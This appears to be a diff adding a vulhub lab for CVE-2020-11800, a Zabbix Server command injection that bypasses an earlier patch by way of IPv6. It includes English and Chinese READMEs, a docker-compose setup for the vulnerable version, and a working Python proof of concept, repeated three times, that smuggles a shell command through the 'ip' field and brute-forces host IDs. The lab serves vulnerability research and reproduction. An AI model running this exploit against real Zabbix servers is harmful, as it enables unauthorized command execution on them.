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zabbix/CVE-2020-11800/README.md

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+# Zabbix Server Active Proxy Trapper Command Injection Bypass (CVE-2020-11800)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Zabbix is a network monitoring and management system developed by Alexei Vladishev, based on a Server-Client architecture. In [CVE-2017-2824][1], there was a code execution vulnerability in the Server-side trapper command functionality. However, the patch for that vulnerability was incomplete, allowing attackers to bypass it using IPv6 to inject arbitrary commands.
+
+Reference:
+
+- https://xz.aliyun.com/t/8991
+
+## Environment Setup
+
+Execute the following command to start a complete Zabbix environment, including the Web interface, Server, 1 Agent, and MySQL database:
+
+```
+docker compose up -d
+```
+
+After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
+
+To exploit this vulnerability, you need to enable the auto-registration feature on the server side. For instructions on how to enable it, please refer to [CVE-2017-2824][1].
+
+## Vulnerability Reproduction
+
+Modify the IP field in the [CVE-2017-2824][1] POC to create a new POC:
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+As you can see, this POC is very similar to the [CVE-2017-2824][1] POC, but I use IPv6 `ffff:::;touch /tmp/success2` to bypass the patch.
+
+When you see the following result, it indicates successful command execution:
+
+![](1.png)
+
+Enter the server container, and you can see that `/tmp/success2` has been successfully created:
+
+![](2.png)
+
+Interested users can improve this POC and submit a Pull Request.
+
+[1]: ../CVE-2017-2824

zabbix/CVE-2020-11800/README.zh-cn.md

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+# Zabbix Server Active Proxy Trapper 命令注入漏洞修复绕过（CVE-2020-11800）
+
+Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。在[CVE-2017-2824][1]中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。
+
+参考链接：
+
+- https://xz.aliyun.com/t/8991
+
+## 环境搭建
+
+执行如下命令启动一个完整的Zabbix环境，包含Web端、Server端、1个Agent和Mysql数据库：
+
+```
+docker compose up -d
+```
+
+命令执行后，执行`docker compose ps`查看容器是否全部成功启动，如果没有，可以尝试重新执行`docker compose up -d`。
+
+利用该漏洞，需要你服务端开启了自动注册功能，开启方法请参考[CVE-2017-2824][1]。
+
+## 漏洞复现
+
+修改[CVE-2017-2824][1]的POC中的IP字段，构造新的POC：
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+可见，这个POC与[CVE-2017-2824][1]的POC非常相似，但我使用IPv6 `ffff:::;touch /tmp/success2`绕过了修复补丁。
+
+当查看到如下结果时，则说明命令执行成功：
+
+![](1.png)
+
+进入server容器，可见`/tmp/success2`已成功创建：
+
+![](2.png)
+
+有兴趣的同学可以对这个POC进行改进，提交Pull Request。
+
+[1]: ../CVE-2017-2824

zabbix/CVE-2020-11800/docker-compose.yml

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+version: '2'
+services:
+ server:
+   image: vulhub/zabbix:3.0.3-server
+   command: server
+   depends_on:
+    - mysql
+   environment: 
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+   ports: 
+    - "10051:10051"
+ agent:
+   image: vulhub/zabbix:3.0.3-server
+   command: agent
+   depends_on:
+    - mysql
+    - server
+   environment: 
+    - ZBX_SRV_HOST=server
+    - ZBX_SRV_HOST_ACT=server
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+ mysql:
+   image: mysql:5
+   environment: 
+    - MYSQL_ROOT_PASSWORD=root
+    - MYSQL_DATABASE=zabbix
+   volumes:
+    - ./database/:/docker-entrypoint-initdb.d/
+ web:
+   image: vulhub/zabbix:3.0.3-web
+   depends_on:
+    - server
+    - mysql
+   environment:
+    - DATABASE_HOST=mysql
+    - DATABASE_PORT=3306
+    - DATABASE_USER=root
+    - DATABASE_PASS=root
+    - DATABASE_NAME=zabbix
+    - ZBX_SRV_HOST=server
+    - ZBX_SRV_PORT=10051
+   ports:
+    - "8080:80"

zabbix/CVE-2020-11800/exploit.py

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+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)